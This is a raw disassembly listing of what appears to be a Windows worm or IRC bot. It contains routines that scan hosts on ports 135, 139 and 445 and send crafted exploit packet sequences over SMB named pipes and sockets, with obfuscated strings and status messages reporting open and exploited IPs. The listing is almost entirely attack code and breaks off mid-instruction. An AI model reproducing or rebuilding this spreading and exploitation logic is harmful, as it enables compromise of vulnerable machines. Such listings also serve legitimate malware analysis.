sub_401AF0 push eax mov esi, 190h push dword_454A30 lea eax, [ebp+var_1A0] push [ebp+arg_0] push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0" push offset a_9fty1n2tM_ ; ".9ftY1N2T/m." push offset aSSSDSSSSSSSSSS ; "%s %s %s %d >> %s %s %s %s %s >> %s %s "... push esi push eax call sub_429BBE add esp, 60h jmp loc_40664A ; --------------------------------------------------------------------------- loc_4065BD: ; CODE XREF: sub_406429+E5j mov ebx, offset dword_456BA8 push ebx push offset aAqq27_7qqv10 ; "AQQ27.7qQv10" call sub_401AF0 push eax push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0" call sub_401AF0 push eax mov esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/" push offset aLvk_hHddio0 ; "Lvk.H/hddio0" push esi call sub_401AF0 push eax push ebx push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C." push esi call sub_401AF0 push eax push offset aEih0f1gakfp0 ; "EiH0f1GakFP0" push esi call sub_401AF0 push eax push offset dword_4569A8 push offset dword_4567A8 push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0" push esi call sub_401AF0 push eax mov esi, 190h push dword_4567A0 lea eax, [ebp+var_1A0] push offset dword_4565A0 push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0" push offset a_9fty1n2tM_ ; ".9ftY1N2T/m." push offset aSSSDSSSSSSSS_0 ; "%s %s %s %d >> %s %s %s %s %s >> %s %s "... push esi push eax call sub_429BBE add esp, 6Ch xor ebx, ebx loc_40664A: ; CODE XREF: sub_406429+18Fj lea eax, [ebp+var_1A0] push ebx push eax call sub_4293A0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push edi call dword_456F8C ; send cmp eax, 0FFFFFFFFh jz short loc_4066B1 push esi call dword_437190 ; Sleep lea eax, [ebp+var_2A0] push eax push offset aS_6 ; "%s\r\n" lea eax, [ebp+var_1A0] push esi push eax call sub_429BBE add esp, 10h lea eax, [ebp+var_1A0] push ebx push eax call sub_4293A0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push edi call dword_456F8C ; send cmp eax, 0FFFFFFFFh jnz short loc_4066B5 loc_4066B1: ; CODE XREF: sub_406429+5Ej ; sub_406429+74j ... xor eax, eax jmp short loc_4066DB ; --------------------------------------------------------------------------- loc_4066B5: ; CODE XREF: sub_406429+286j xor esi, esi push ebx lea eax, [ebp+var_6A0] push 400h inc esi push eax push edi mov dword_4553A0, esi call dword_456F58 ; recv push edi call dword_456FF0 ; closesocket mov eax, esi loc_4066DB: ; CODE XREF: sub_406429+28Aj pop edi pop esi pop ebx leave retn 4 sub_406429 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4066E2 proc near ; CODE XREF: sub_406D7F+2CBp var_340 = byte ptr -340h var_23C = byte ptr -23Ch var_138 = byte ptr -138h var_34 = byte ptr -34h var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_B4 = dword ptr 0BCh arg_BC = dword ptr 0C4h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp sub esp, 340h lea eax, [ebp+arg_8] push ebx mov dword_454F60, eax mov eax, [ebp+arg_BC] mov dword_455398, eax mov eax, [ebp+arg_C4] mov dword_45539C, eax mov eax, [ebp+arg_B4] push esi push edi shl eax, 6 push 6 xor edi, edi add eax, offset dword_43A357 push 1 push 2 mov [ebp+var_14], edi mov dword_454AD8, eax call dword_4372BC ; socket push 480h mov esi, offset dword_454AE0 push edi push esi mov [ebp+var_8], 20804h call sub_429760 push 42Ah mov ebx, offset dword_454F68 push 0FFFFFF90h push ebx call sub_429760 lea eax, [ebp+arg_8] push 5 push eax call sub_404525 add esp, 20h cmp eax, 9 mov [ebp+var_10], eax jz short loc_4067E7 lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_23C] push offset aSPipe ; "\\\\%s\\PIPE" push eax call sub_429B03 lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_340] push offset aSPipeBrowser ; "\\\\%s\\PIPE\\BROWSER" push eax call sub_429B03 lea eax, [ebp+var_23C] add esp, 18h mov [ebp+var_20], eax mov eax, offset byte_454A54 push edi push eax push eax lea eax, [ebp+var_34] push eax mov [ebp+var_30], edi mov [ebp+var_24], edi mov [ebp+var_18], edi call sub_4290C4 push edi push edi push 3 push edi push edi lea eax, [ebp+var_340] push 0C0000000h push eax call dword_43705C ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jnz short loc_4067EE push eax call dword_437044 ; CloseHandle loc_4067E7: ; CODE XREF: sub_4066E2+8Cj xor eax, eax jmp loc_406C64 ; --------------------------------------------------------------------------- loc_4067EE: ; CODE XREF: sub_4066E2+FCj lea ecx, [ebp+var_4] push edi push ecx lea ecx, [ebp+var_138] push 104h push ecx push 48h push offset dword_43E0F0 push eax call dword_437058 ; TransactNamedPipe test eax, eax jz loc_406C59 lea eax, [ebp+var_14] push eax lea eax, [ebp+arg_8] push edi push eax push offset sub_406429 push edi push edi call dword_437180 ; CreateThread cmp [ebp+var_10], 2 jz loc_406A31 cmp [ebp+var_10], 1 jz loc_406A31 cmp [ebp+var_10], 3 jnz loc_406C4F push dword_43E13C push offset dword_43A8E8 push ebx call sub_429420 mov eax, [ebp+var_8] push 4 add eax, 6 pop ebx mov [ebp+var_4], eax lea eax, [ebp+var_4] push ebx push eax push offset dword_4551CC call sub_429420 lea eax, [ebp+var_8] push ebx push eax push offset dword_4551D8 call sub_429420 lea eax, [ebp+var_8] push ebx push eax push offset dword_4551FC call sub_429420 lea eax, [ebp+var_8] push ebx push eax push offset dword_455208 call sub_429420 push 2 push offset dword_4553AC push offset dword_45522C call sub_429420 add esp, 48h lea eax, [ebp+var_4] mov [ebp+var_4], 31Ch push 2 push eax push offset dword_43E0D8 call sub_429420 lea eax, [ebp+var_4] push 2 push eax push offset dword_43E0E0 mov [ebp+var_4], 304h call sub_429420 push 18h push offset dword_43E0D0 push esi call sub_429420 mov esi, offset dword_43E1D0 push ebx push esi push offset dword_454AF8 call sub_429420 push ebx push esi push offset dword_454AFC call sub_429420 mov edi, offset dword_4553A4 push ebx push edi push offset dword_454B00 call sub_429420 add esp, 48h push ebx push esi push offset dword_454B04 call sub_429420 push ebx push edi push offset dword_454B08 call sub_429420 push ebx push offset dword_43E1C8 push offset dword_454B0C call sub_429420 push ebx push edi push offset dword_454B10 call sub_429420 push ebx push offset dword_43E1C8 push offset dword_454B14 call sub_429420 push 2C6h push offset dword_454F68 push offset dword_454B18 call sub_429420 add esp, 48h push ebx push esi push offset dword_454DE0 call sub_429420 push ebx push esi push offset dword_454DE4 call sub_429420 push ebx push edi push offset dword_454DE8 call sub_429420 push ebx push esi push offset dword_454DEC call sub_429420 push ebx push edi push offset dword_454DF0 call sub_429420 push ebx push esi push offset dword_454DF4 call sub_429420 add esp, 48h push ebx push edi push offset dword_454DF8 call sub_429420 add esp, 0Ch lea eax, [ebp+var_4] mov ebx, 104h mov esi, dword_437058 push 0 push eax lea eax, [ebp+var_138] push ebx mov edi, 31Ch push eax push edi push offset dword_454AE0 push [ebp+var_C] call esi ; dword_437058 cmp [ebp+var_4], 0 jz short loc_406A1F lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+var_138] push ebx push eax push edi push offset dword_454AE0 push [ebp+var_C] call esi ; dword_437058 loc_406A1F: ; CODE XREF: sub_4066E2+322j push 7D0h call dword_437190 ; Sleep xor ebx, ebx jmp loc_406BC7 ; --------------------------------------------------------------------------- loc_406A31: ; CODE XREF: sub_4066E2+14Dj ; sub_4066E2+157j push dword_43E13C push offset dword_43A8E8 push offset dword_4551C0 call sub_429420 add esp, 0Ch mov edi, offset dword_455350 push 4 pop ebx loc_406A51: ; CODE XREF: sub_4066E2+385j lea eax, [ebp+var_8] push ebx push eax push edi call sub_429420 add edi, ebx add esp, 0Ch cmp edi, offset dword_455390 jl short loc_406A51 lea eax, [ebp+var_4] push 2 push eax push offset dword_43E0D8 mov [ebp+var_4], 480h call sub_429420 lea eax, [ebp+var_4] push 2 push eax push offset dword_43E0E0 mov [ebp+var_4], 464h call sub_429420 push 18h push offset dword_43E0D0 push esi call sub_429420 mov esi, offset dword_43E1D0 push ebx push esi push offset dword_454AF8 call sub_429420 push ebx push esi push offset dword_454AFC call sub_429420 mov edi, offset dword_4553A4 push ebx push edi push offset dword_454B00 call sub_429420 add esp, 48h push ebx push esi push offset dword_454B04 call sub_429420 push ebx push edi push offset dword_454B08 call sub_429420 push ebx push offset dword_43E1C0 push offset dword_454B0C call sub_429420 push ebx push edi push offset dword_454B10 call sub_429420 push ebx push offset dword_43E1C0 push offset dword_454B14 call sub_429420 push 428h push offset dword_454F68 push offset dword_454B18 call sub_429420 add esp, 48h push ebx push esi push offset dword_454F44 call sub_429420 push ebx push offset dword_43E1B8 push offset dword_454F48 call sub_429420 push ebx push edi push offset dword_454F4C call sub_429420 push ebx push offset dword_43E1B8 push offset dword_454F50 call sub_429420 push ebx push offset loc_43E154 push offset dword_454F54 call sub_429420 push ebx push esi push offset dword_454F58 call sub_429420 add esp, 48h push ebx push edi push offset dword_454F5C call sub_429420 add esp, 0Ch xor ebx, ebx lea eax, [ebp+var_4] push ebx push eax lea eax, [ebp+var_138] push 104h push eax push 480h push offset dword_454AE0 push [ebp+var_C] call dword_437058 ; TransactNamedPipe push 7D0h call dword_437190 ; Sleep loc_406BC7: ; CODE XREF: sub_4066E2+34Aj cmp dword_4553A0, ebx jz short loc_406C4C mov edx, [ebp+arg_B4] mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." mov eax, edx mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)" shl eax, 6 lea ecx, dword_43A380[eax] inc dword ptr [ecx] cmp dword_45539C, ebx mov ecx, [ecx] jz short loc_406C20 cmp dword_455398, ebx jnz short loc_406C28 push ecx lea ecx, [ebp+arg_8] lea eax, dword_43A357[eax] push ecx push eax push edi push esi push [ebp+arg_0] push [ebp+arg_4] call sub_41CE4A mov edx, [ebp+arg_B4] add esp, 1Ch loc_406C20: ; CODE XREF: sub_4066E2+512j cmp dword_455398, ebx jz short loc_406C4C loc_406C28: ; CODE XREF: sub_4066E2+51Aj shl edx, 6 lea eax, [ebp+arg_8] push dword_43A380[edx] push eax lea eax, dword_43A357[edx] push eax push edi push esi push [ebp+arg_0] push [ebp+arg_4] call sub_41CDD4 add esp, 1Ch loc_406C4C: ; CODE XREF: sub_4066E2+4EBj ; sub_4066E2+544j xor edi, edi inc edi loc_406C4F: ; CODE XREF: sub_4066E2+161j lea eax, [ebp+arg_8] push eax call sub_401E9E pop ecx loc_406C59: ; CODE XREF: sub_4066E2+12Dj push [ebp+var_C] call dword_437044 ; CloseHandle mov eax, edi loc_406C64: ; CODE XREF: sub_4066E2+107j pop edi pop esi pop ebx leave retn sub_4066E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C69 proc near ; CODE XREF: sub_407281+3Fp var_4 = byte ptr -4 arg_8 = byte ptr 10h arg_110 = dword ptr 118h arg_138 = dword ptr 140h push ebp mov ebp, esp push ecx cmp [ebp+arg_110], 0FFFFFFFFh push edi jz loc_406D7C push 0Ch call sub_423800 test eax, eax pop ecx jnz loc_406D7C xor edi, edi cmp dword_457F68, edi jnz short loc_406CB8 call dword_437188 ; GetTickCount push eax call sub_429B8F pop ecx call sub_429B9C cdq mov ecx, 9CBDh idiv ecx inc edx mov dword_4555C4, edx jmp short loc_406CC4 ; --------------------------------------------------------------------------- loc_406CB8: ; CODE XREF: sub_406C69+2Aj movzx eax, word_44399A mov dword_4555C4, eax loc_406CC4: ; CODE XREF: sub_406C69+4Dj push esi mov esi, offset dword_4553B4 push 104h push esi push edi mov dword_4555C0, edi call dword_43717C ; GetModuleFileNameA push 103h push offset dword_4439A8 push offset dword_4554B8 call sub_429D10 lea eax, [ebp+arg_8] push 7Fh push eax push offset dword_4555C8 mov dword_455654, edi call sub_429D10 mov eax, [ebp+arg_138] push esi push dword_4555C4 mov dword_455658, eax push offset aKbwmi16jfhl ; "KbwMi16jFhl/" push offset a5oke1awbzq ; "5OkE/1AWBZq/" push offset aJt17j1imtvd1 ; "jt17J1ImTVD1" push offset aSSSIFileS_ ; "%s %s, %s: %i, File: %s." push 0Ch call sub_4234A7 add esp, 34h mov dword_4555BC, eax lea eax, [ebp+var_4] push eax push edi push offset dword_4553B0 push offset sub_402CE9 push edi push edi call dword_437180 ; CreateThread mov ecx, dword_4555BC pop esi imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jz short loc_406D7C jmp short loc_406D74 ; --------------------------------------------------------------------------- loc_406D6C: ; CODE XREF: sub_406C69+111j push 32h call dword_437190 ; Sleep loc_406D74: ; CODE XREF: sub_406C69+101j cmp dword_455654, edi jz short loc_406D6C loc_406D7C: ; CODE XREF: sub_406C69+Cj ; sub_406C69+1Cj ... pop edi leave retn sub_406C69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D7F proc near ; DATA XREF: sub_407281+B0o var_210 = byte ptr -210h var_200 = byte ptr -200h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_14C = dword ptr -14Ch var_144 = byte ptr -144h var_44 = dword ptr -44h var_38 = dword ptr -38h var_30 = dword ptr -30h var_28 = dword ptr -28h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 210h mov eax, [ebp+arg_0] push ebx push esi push edi push 4Eh mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd xor esi, esi push 10h inc esi push 0 mov [eax+134h], esi mov eax, [ebp+var_14C] mov [ebp+arg_0], eax lea eax, [ebp+var_14] push eax call sub_429760 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_44] call dword_456F38 ; ntohs mov [ebp+var_12], ax mov eax, [ebp+var_30] push 6 push esi push 2 mov [ebp+var_10], eax call dword_456FD0 ; socket push offset dword_457C40 mov edi, eax push [ebp+var_30] mov [ebp+var_4], edi call dword_456FDC ; inet_ntoa mov esi, dword_437178 push eax call esi ; dword_437178 test eax, eax jz loc_407278 push offset dword_457CF8 push [ebp+var_30] call dword_456FDC ; inet_ntoa push eax call esi ; dword_437178 test eax, eax jz loc_407278 cmp edi, 0FFFFFFFFh jz loc_407267 lea eax, [ebp+var_14] push 10h push eax push edi call dword_456EBC ; connect mov ecx, [ebp+var_38] imul ecx, 2724h cmp eax, 0FFFFFFFFh mov dword_46D730[ecx], edi jz loc_407267 cmp [ebp+var_20], 0 mov edi, offset aTarxm0mtxpp_ ; "tArXm0mtxpp." mov ebx, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." mov esi, offset aSSSingleIpSSDO ; "%s %s single Ip: (%s) %s: (%d) open." jnz short loc_406E8E cmp [ebp+var_28], 0 jnz short loc_406E94 push [ebp+var_44] push offset aKbwmi16jfhl ; "KbwMi16jFhl/" push [ebp+var_30] call dword_456FDC ; inet_ntoa push eax push edi push ebx lea eax, [ebp+var_144] push esi push eax push [ebp+arg_0] call sub_41CE4A add esp, 20h loc_406E8E: ; CODE XREF: sub_406D7F+E0j cmp [ebp+var_28], 0 jz short loc_406EBB loc_406E94: ; CODE XREF: sub_406D7F+E6j push [ebp+var_44] push offset aKbwmi16jfhl ; "KbwMi16jFhl/" push [ebp+var_30] call dword_456FDC ; inet_ntoa push eax push edi push ebx lea eax, [ebp+var_144] push esi push eax push [ebp+arg_0] call sub_41CDD4 add esp, 20h loc_406EBB: ; CODE XREF: sub_406D7F+113j push [ebp+var_30] call dword_456FDC ; inet_ntoa push eax lea eax, [ebp+var_210] push 10h push eax call sub_429BBE lea eax, [ebp+var_144] push eax lea eax, [ebp+var_200] push 80h push eax call sub_429BBE mov eax, [ebp+var_28] mov ecx, [ebp+var_38] and [ebp+var_164], 0 mov [ebp+var_15C], eax mov eax, [ebp+var_20] add esp, 18h mov [ebp+var_158], eax mov eax, [ebp+var_44] cmp eax, 87h mov [ebp+var_16C], eax mov [ebp+var_168], ecx jnz loc_40701F sub esp, 0C4h lea esi, [ebp+var_210] lea eax, [ebp+var_144] push 31h pop ecx mov edi, esp push [ebp+var_14C] rep movsd push eax call sub_403B9B add esp, 0CCh test eax, eax jz short loc_406FBE xor esi, esi xor eax, eax cmp [ebp+var_20], esi mov [ebp+var_164], eax jnz short loc_406F91 cmp [ebp+var_28], esi jnz short loc_406F96 lea eax, [ebp+var_210] push eax push offset dword_43A357 push ebx lea eax, [ebp+var_144] push offset aSSIpS ; "%s (%s) -> IP: (%s)" push eax push [ebp+arg_0] call sub_41CE4A mov eax, [ebp+var_164] add esp, 18h loc_406F91: ; CODE XREF: sub_406D7F+1E1j cmp [ebp+var_28], esi jz short loc_406FBE loc_406F96: ; CODE XREF: sub_406D7F+1E6j shl eax, 6 lea ecx, [ebp+var_210] add eax, offset dword_43A357 push ecx push eax push ebx lea eax, [ebp+var_144] push offset aSSIpS ; "%s (%s) -> IP: (%s)" push eax push [ebp+arg_0] call sub_41CDD4 add esp, 18h loc_406FBE: ; CODE XREF: sub_406D7F+1D2j ; sub_406D7F+215j sub esp, 0C4h lea esi, [ebp+var_210] lea eax, [ebp+var_144] push 31h pop ecx mov edi, esp push [ebp+var_14C] rep movsd push eax call sub_404134 add esp, 0CCh test eax, eax jz loc_407267 push 2 xor esi, esi cmp [ebp+var_20], esi pop eax mov [ebp+var_164], eax jnz loc_40723A cmp [ebp+var_28], esi jnz loc_40723F lea eax, [ebp+var_210] push eax push offset byte_43A3D7 jmp loc_40721C ; --------------------------------------------------------------------------- loc_40701F: ; CODE XREF: sub_406D7F+19Fj cmp eax, 8Bh jnz loc_407126 sub esp, 0C4h lea esi, [ebp+var_210] lea eax, [ebp+var_144] push 31h pop ecx mov edi, esp push [ebp+var_14C] rep movsd push eax call sub_4066E2 add esp, 0CCh test eax, eax jz short loc_4070C5 push 4 xor esi, esi cmp [ebp+var_20], esi pop eax mov [ebp+var_164], eax jnz short loc_407098 cmp [ebp+var_28], esi jnz short loc_40709D lea eax, [ebp+var_210] push eax push offset byte_43A457 push ebx lea eax, [ebp+var_144] push offset aSSIpS ; "%s (%s) -> IP: (%s)" push eax push [ebp+arg_0] call sub_41CE4A mov eax, [ebp+var_164] add esp, 18h loc_407098: ; CODE XREF: sub_406D7F+2E8j cmp [ebp+var_28], esi jz short loc_4070C5 loc_40709D: ; CODE XREF: sub_406D7F+2EDj shl eax, 6 lea ecx, [ebp+var_210] add eax, offset dword_43A357 push ecx push eax push ebx lea eax, [ebp+var_144] push offset aSSIpS ; "%s (%s) -> IP: (%s)" push eax push [ebp+arg_0] call sub_41CDD4 add esp, 18h loc_4070C5: ; CODE XREF: sub_406D7F+2D8j ; sub_406D7F+31Cj sub esp, 0C4h lea esi, [ebp+var_210] lea eax, [ebp+var_144] push 31h pop ecx mov edi, esp push [ebp+var_14C] rep movsd push eax call sub_4059BF add esp, 0CCh test eax, eax jz loc_407267 push 6 xor esi, esi cmp [ebp+var_20], esi pop eax mov [ebp+var_164], eax jnz loc_40723A cmp [ebp+var_28], esi jnz loc_40723F lea eax, [ebp+var_210] push eax push offset byte_43A4D7 jmp loc_40721C ; --------------------------------------------------------------------------- loc_407126: ; CODE XREF: sub_406D7F+2A5j cmp eax, 1BDh jnz loc_407267 sub esp, 0C4h lea esi, [ebp+var_210] lea eax, [ebp+var_144] push 31h pop ecx mov edi, esp push [ebp+var_14C] rep movsd push eax call sub_4073A2 add esp, 0CCh test eax, eax jz short loc_4071CC push 0Ah xor esi, esi cmp [ebp+var_20], esi pop eax mov [ebp+var_164], eax jnz short loc_40719F cmp [ebp+var_28], esi jnz short loc_4071A4 lea eax, [ebp+var_210] push eax push offset off_43A5D7 push ebx lea eax, [ebp+var_144] push offset aSSIpS ; "%s (%s) -> IP: (%s)" push eax push [ebp+arg_0] call sub_41CE4A mov eax, [ebp+var_164] add esp, 18h loc_40719F: ; CODE XREF: sub_406D7F+3EFj cmp [ebp+var_28], esi jz short loc_4071CC loc_4071A4: ; CODE XREF: sub_406D7F+3F4j shl eax, 6 lea ecx, [ebp+var_210] add eax, offset dword_43A357 push ecx push eax push ebx lea eax, [ebp+var_144] push offset aSSIpS ; "%s (%s) -> IP: (%s)" push eax push [ebp+arg_0] call sub_41CDD4 add esp, 18h loc_4071CC: ; CODE XREF: sub_406D7F+3DFj ; sub_406D7F+423j sub esp, 0C4h lea esi, [ebp+var_210] lea eax, [ebp+var_144] push 31h pop ecx mov edi, esp push [ebp+var_14C] rep movsd push eax call sub_4063C0 add esp, 0CCh test eax, eax jz short loc_407267 push 3 xor esi, esi cmp [ebp+var_20], esi pop eax mov [ebp+var_164], eax jnz short loc_40723A cmp [ebp+var_28], esi jnz short loc_40723F lea eax, [ebp+var_210] push eax push offset byte_43A417 loc_40721C: ; CODE XREF: sub_406D7F+29Bj ; sub_406D7F+3A2j push ebx lea eax, [ebp+var_144] push offset aSSIpS ; "%s (%s) -> IP: (%s)" push eax push [ebp+arg_0] call sub_41CE4A mov eax, [ebp+var_164] add esp, 18h loc_40723A: ; CODE XREF: sub_406D7F+280j ; sub_406D7F+387j ... cmp [ebp+var_28], esi jz short loc_407267 loc_40723F: ; CODE XREF: sub_406D7F+289j ; sub_406D7F+390j ... shl eax, 6 lea ecx, [ebp+var_210] add eax, offset dword_43A357 push ecx push eax push ebx lea eax, [ebp+var_144] push offset aSSIpS ; "%s (%s) -> IP: (%s)" push eax push [ebp+arg_0] call sub_41CDD4 add esp, 18h loc_407267: ; CODE XREF: sub_406D7F+A2j ; sub_406D7F+C7j ... push 64h call dword_437190 ; Sleep push [ebp+var_4] call dword_456FF0 ; closesocket loc_407278: ; CODE XREF: sub_406D7F+80j ; sub_406D7F+99j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_406D7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_407281 proc near ; DATA XREF: sub_40A9FE+665Ao var_1C0 = byte ptr -1C0h var_140 = dword ptr -140h var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1C0h push ebx mov ebx, [ebp+arg_0] push esi push edi push 4Eh mov esi, ebx pop ecx lea edi, [ebp+var_140] rep movsd push [ebp+var_140] lea esi, [ebp+var_140] mov dword ptr [ebx+130h], 1 sub esp, 138h push 4Eh pop ecx mov edi, esp rep movsd call sub_406C69 mov esi, dword_437190 add esp, 13Ch mov edi, offset aKbwmi16jfhl ; "KbwMi16jFhl/" loc_4072D6: ; CODE XREF: sub_407281+11Cj push [ebp+var_38] push edi push [ebp+var_24] call dword_456FDC ; inet_ntoa push eax push offset aTarxm0mtxpp_ ; "tArXm0mtxpp." push edi push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." lea eax, [ebp+var_1C0] push offset aSSSSStartSD ; "%s %s%s: (%s), Start%s: (%d)" push eax call sub_429B03 lea eax, [ebp+var_1C0] push 270Fh push eax mov eax, [ebp+var_2C] imul eax, 2724h add eax, offset dword_46B010 push eax call sub_429D10 add esp, 2Ch lea eax, [ebp+var_8] lea ecx, [ebp+var_140] push eax xor eax, eax push eax push ecx push offset sub_406D7F push eax push eax call dword_437180 ; CreateThread mov [ebp+var_4], eax loc_407341: ; CODE XREF: sub_407281+CAj cmp [ebp+var_C], 1 jz short loc_40734D push 32h call esi ; dword_437190 jmp short loc_407341 ; --------------------------------------------------------------------------- loc_40734D: ; CODE XREF: sub_407281+C4j push [ebp+var_4] call dword_437044 ; CloseHandle push [ebp+var_34] and dword ptr [ebx+134h], 0 call esi ; dword_437190 lea eax, [ebp+var_24] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_429420 add esp, 0Ch push [ebp+arg_0] call dword_456E28 ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_456F34 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_24] push eax call sub_429420 add esp, 0Ch jmp loc_4072D6 sub_407281 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4073A2 proc near ; CODE XREF: sub_406D7F+3D2p var_11B4 = byte ptr -11B4h var_1024 = byte ptr -1024h var_101B = byte ptr -101Bh var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFA = dword ptr -0FFAh var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_B4 = dword ptr 0BCh arg_BC = dword ptr 0C4h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 11B4h call sub_429B60 push ebx push esi lea eax, [ebp+var_11B4] push edi push eax push 2 call dword_4372B8 ; WSAStartup test eax, eax jnz loc_4079A3 lea eax, [ebp+arg_8] push 5 push eax call sub_404525 pop ecx cmp eax, 3 pop ecx mov [ebp+var_4], eax jnz short loc_407406 lea eax, [ebp+arg_8] push 6 push eax call sub_404525 xor ebx, ebx pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_407408 lea eax, [ebp+arg_8] push 5 push eax call sub_404525 pop ecx mov [ebp+var_4], eax pop ecx jmp short loc_407408 ; --------------------------------------------------------------------------- loc_407406: ; CODE XREF: sub_4073A2+3Aj xor ebx, ebx loc_407408: ; CODE XREF: sub_4073A2+50j ; sub_4073A2+62j push 6 push 1 push 2 call dword_456FD0 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_4079A3 lea eax, [ebp+arg_8] mov [ebp+var_24], 2 push eax call dword_456F7C ; inet_addr push 1BDh mov [ebp+var_20], eax call dword_456F38 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push edi call dword_456EBC ; connect cmp eax, 0FFFFFFFFh jz loc_40799C push ebx push 89h push offset dword_43E2C0 push edi call dword_456F8C ; send cmp eax, 0FFFFFFFFh jz loc_40799C mov esi, 1000h push ebx lea eax, [ebp+var_1024] push esi push eax push edi call dword_456F58 ; recv cmp eax, 1 jl loc_40799C push ebx push 0BDh push offset dword_43E350 push edi call dword_456F8C ; send cmp eax, 0FFFFFFFFh jz loc_40799C push ebx lea eax, [ebp+var_1024] push esi push eax push edi call dword_456F58 ; recv cmp eax, 0Ah jle loc_40799C mov eax, [ebp+var_1004] push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_43E430 call sub_429420 add esp, 0Ch push ebx push 111h push offset dword_43E410 push edi call dword_456F8C ; send cmp eax, 0FFFFFFFFh jz loc_40799C push ebx lea eax, [ebp+var_1024] push esi push eax push edi call dword_456F58 ; recv cmp eax, 0Ah jle loc_40799C push ebx push 6Fh push offset dword_43E528 push edi call dword_456F8C ; send cmp eax, 0FFFFFFFFh jz loc_40799C push ebx lea eax, [ebp+var_1024] push esi push eax push edi call dword_456F58 ; recv cmp eax, 0Ah jle loc_40799C mov eax, [ebp+var_1004] push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_43E5B8 call sub_429420 add esp, 0Ch push ebx push 3Bh push offset dword_43E598 push edi call dword_456F8C ; send cmp eax, 0FFFFFFFFh jz loc_40799C push ebx lea eax, [ebp+var_1024] push esi push eax push edi call dword_456F58 ; recv cmp eax, 0Ah jle loc_40799C cmp [ebp+var_101B], 0 jnz loc_40799C mov eax, [ebp+var_1008] push 2 mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push offset dword_43E5F4 call sub_429420 lea eax, [ebp+var_8] push 2 push eax push offset dword_43E5F8 call sub_429420 add esp, 18h push ebx push 6Ah push offset dword_43E5D8 push edi call dword_456F8C ; send cmp eax, 0FFFFFFFFh jz loc_40799C push ebx lea eax, [ebp+var_1024] push esi push eax push edi call dword_456F58 ; recv cmp eax, 0Ah jle loc_40799C cmp [ebp+var_101B], 0 jnz loc_40799C mov eax, [ebp+var_FFA] push 2 mov [ebp+var_14], eax lea eax, [ebp+var_10] push eax push offset dword_43E664 call sub_429420 lea eax, [ebp+var_8] push 2 push eax push offset dword_43E668 call sub_429420 lea eax, [ebp+var_14] push 2 push eax push offset byte_43E671 call sub_429420 add esp, 24h push ebx push 243h push offset dword_43E648 push edi call dword_456F8C ; send cmp eax, 0FFFFFFFFh jz loc_40799C push ebx lea eax, [ebp+var_1024] push esi push eax push edi call dword_456F58 ; recv cmp eax, 0Ah jle loc_40799C cmp [ebp+var_101B], 0 jnz loc_40799C lea eax, [ebp+var_10] push 2 push eax push offset dword_43E8AC call sub_429420 lea eax, [ebp+var_8] push 2 push eax push offset dword_43E8B0 call sub_429420 lea eax, [ebp+var_14] push 2 push eax push offset byte_43E8B9 call sub_429420 add esp, 24h push ebx push 3Fh push offset dword_43E890 push edi call dword_456F8C ; send cmp eax, 0FFFFFFFFh jz loc_40799C push ebx lea eax, [ebp+var_1024] push esi push eax push edi call dword_456F58 ; recv cmp eax, 0Ah jle loc_40799C cmp [ebp+var_101B], 0 jnz loc_40799C lea eax, [ebp+var_10] push 2 push eax push offset 